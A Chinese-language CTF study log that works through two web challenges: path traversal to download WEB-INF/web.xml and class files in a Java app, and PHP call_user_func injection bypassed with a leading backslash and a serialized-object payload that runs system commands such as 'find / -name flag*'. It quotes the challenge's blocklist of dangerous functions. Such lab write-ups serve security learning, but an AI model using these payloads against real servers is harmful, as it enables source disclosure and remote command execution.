刷题学习记录

[RoarCTF 2019]Easy Java1

一开始是一个登陆页面，看着有点想用sql注入先试一遍，但是题目已经给出了这是关于Java的

 直接查看源码，发现参数要用POST的方式上传

 点击进入新页面

百度查了一下这是web.xml 泄露

解题先知WEB-INF

WEB-INF是java的WEB应用的安全目录。

WEB-INF目录

•     WEB-INF/web.xml

    web应用程序配置文件，描述了servlet和其他的应用组件配置及命名规则。

•     WEB-INF/classes

    包含了站点所有用的class文件，包括servlet class和非servlet class

•     WEB-INF/lib

    存放web应用需要的JAR文件

•     WEB-INF/src

    源码目录，按照包名结构放置各个java文件

•     WEB-INF/database.properties

    数据库配置文件

•     WEB-INF/tags

    存放了自定义标签文件

•     WEB-INF/jsp

    jsp 1.2 一下版本的文件存放位置。

•     WEB-INF/jsp2

    存放jsp2.0以下版本的文件。

•     META-INF

    相当于一个信息包。

关于WEB-INF/web.xml

在了解WEB-INF/web.xml泄露之前，我们先要知道，web.xml是一个什么样的文件，以及它的泄露会出现哪些问题。
咱们先来看看WEB-INF这个文件夹
WEB-INF主要包含以下内容：

•     /WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。
•     /WEB-INF/classes/：包含所有的 Servlet 类和其他类文件，类文件所在的目录结构与他们的包名称匹配。
•     /WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
•     /WEB-INF/src/：源码目录，按照包名结构放置各个java文件。
•     /WEB-INF/database.properties：数据库配置文件。

参考：WEB-INF 基础知识-CSDN博客

解题

获取源码，payload：

filename=WEB-INF/web.xml

 得到源码

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

 代码审计

payload：

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

 

 将base64字符串进行解码得到flag

[网鼎杯 2020 朱雀组]phpweb1

刚进入环境，页面就一直在不停刷新，而且发现这是POST的方式进行传参

 解题先知

参考：PHP call_user_func理解_call_user_func php-CSDN博客

php中call_user_func的作用_con_user_fun php_kuafu888的博客-CSDN博客

call_user_func的作用

• 单个传参，把函数返回值赋给变量
• 多个参数，函数内部处理参数

 利用bp抓包，从包中我们可以看到，传递了两个参数，func和p。func的值是date，再结合p的值，我猜测这里是用了call_user_func()来回调函数，将func的值当作函数名，p的值当作参数，即func的返回值赋给p。那么我们直接使用system函数查看当前目录下的文件

 

 结果返回Hacker，被过滤了。执行file_get_contents，可以看到index.php的源代码。里面有一个十分严格的过滤，几乎过滤了所有危险函数。下面是一个类，里面有析构函数，可以考虑到使用反序列化构造命令执行。

 

 源码

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

 果然是使用了call_user_func()函数 ，不过禁用了一部分函数，导致我们没法执行命令。禁用的函数比较全面，所以直接执行命令是不太可行的。然后我看到源码里面有一个Test类，在__destruct()里面会调用gettime()，再看禁用的函数里没有unserialize()，且$func和$p是可控的，那么就可以反序列化来达到命令执行的目的。思路已经明确了，接下来就是构造payload了

<?php
	class Test{
		var $p="ls";
		var $func="system";
	}
	$a=new Test();
	echo serialize($a);
?>

 得到反序列化代码

 

 命令执行成功，那接下来就找flag，其实前面的两步没有走的必要，可以先测试system是否被过滤掉，如果被过滤掉就进行绕过，直接查找flag文件

 是被过滤掉了，那就绕过

 但是没有看到该目录下有flag文件，那就用查找命令进行查找

func=\system&p=find / -name flag*

 得到文件路径，直接cat得到flag

 知识点

call_user_func()：调用一个回调函数处理字符串,
　　可以用匿名函数，可以用有名函数，可以传递类的方法，
　　用有名函数时，只需传函数的名称
　　用类的方法时，要传类的名称和方法名
　　传递的第一个参数必须为函数名，或者匿名函数，或者方法
　　其他参数，可传一个参数，或者多个参数，这些参数会自动传递到回调函数中
　　而回调函数，可以通过传参，获取这些参数
　　返回回调函数处理后的结果

call_user_func函数是php引用匿名函数的一种方式，php不像js那样，可以把匿名函数赋值给变量并引用，但可以通过call_user_func函数来调用匿名函数，这也能做到局部变量不被全局污染，call_user_func调用的回调函数不仅仅是我们自定义的函数，还可以是php处理字符串的系统函数，如rtrim、explode的，在调用这些系统函数时，需要注意的是，call_user_func传递的参数必须符合系统函数的传参顺序

与call_user_func函数类似的还有一个call_user_func_array函数，这个函数的调用和作用和call_user_func函数基本一样，所不同的是，call_user_func_array函数只能传递两个参数，第一个是回调函数名，或者匿名函数，或者类方法，第二个参数则是数组，从这里也可以看出，其实call_user_func_array函数与call_user_func不同的是，call_user_func_array是利用回调函数处理数组，而call_user_func则是利用回调函数处理字符串，他们两个的根本差别就在这里了。你自己可以尝试的调用call_user_func_array()函数，因为它们的引用基本一样

参考：https://www.cnblogs.com/loveyoume/p/6099966.html

PHP: call_user_func - Manual